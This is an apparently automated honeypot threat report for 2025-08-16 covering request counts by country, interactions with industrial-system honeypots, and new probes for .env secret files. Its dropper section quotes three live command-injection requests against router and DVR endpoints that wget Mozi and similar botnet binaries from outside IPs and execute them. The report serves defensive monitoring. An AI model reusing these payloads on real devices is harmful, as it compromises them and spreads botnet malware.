Table of Contents

Daily Report: 2025-08-16
#

Executive summary
#

interaction report on http service of various Hhoneypot around the world.

Executive summary
OT report simplified
Botnet dropper behaviour
List of request
List of country_iso_code

executive_summary
#

In today’s repport, we detected 3 stage 1 IP address(es), linked to 3 dropper URL(s).

There are 14 new requests that have never been observed before (these were added to the monitored request database.).

A total of 2202 requests were recorded during the day, originating from 3 different countries, with a peak of 1759 requests coming from GB.

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_country	targeted_country
SG	Germany
SG	Germany
US	Germany
DE	Germany
US	Germany
GB	Germany
GB	Dubai
US	Dubai

botnet_dropper_behaviour
#

remote_addr	request
123.13.107.189	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://123.13.107.189:48235/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
8.219.136.157	GET /shell?cd+/tmp;rm+-rf+*;wget+ 213.209.150.159/jaws;sh+/tmp/jaws HTTP/1.1
141.98.11.44	POST /device.rsp?opt=sys&cmd=S_O_S_T_R_E_A_MAX&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20axis.arm7l%3B%20wget%20http%3A%2F%2F198.251.89.190%2Faxe%2Faxis.arm7l%3B%20chmod%20%2Bx%20axis.arm7l%3B%20.%2Faxis.arm7l%20tbk HTTP/1.1

request
#

The list of requests presented here are those that have not yet been yet integrated into the request database.

	number_of_occurence	request
704	1	GET /env/config.log HTTP/1.1
724	1	GET /docs/.env.save HTTP/1.1
725	1	GET /docs/.env.smtp HTTP/1.1
726	1	GET /download/.env~ HTTP/1.1
727	1	GET /django/env.php HTTP/1.1
728	1	GET /django/env.yml HTTP/1.1
730	1	GET /docs/.env.test HTTP/1.1
903	1	GET /core/.env.save HTTP/1.1
905	1	GET /docs/.env.conf HTTP/1.1
907	1	GET /core/.env.smtp HTTP/1.1
908	1	GET /core/.env.test HTTP/1.1
909	1	GET /mail/.env.conf HTTP/1.1
910	1	GET /docs/.env.prod HTTP/1.1
911	1	GET /logs/temp/.env HTTP/1.1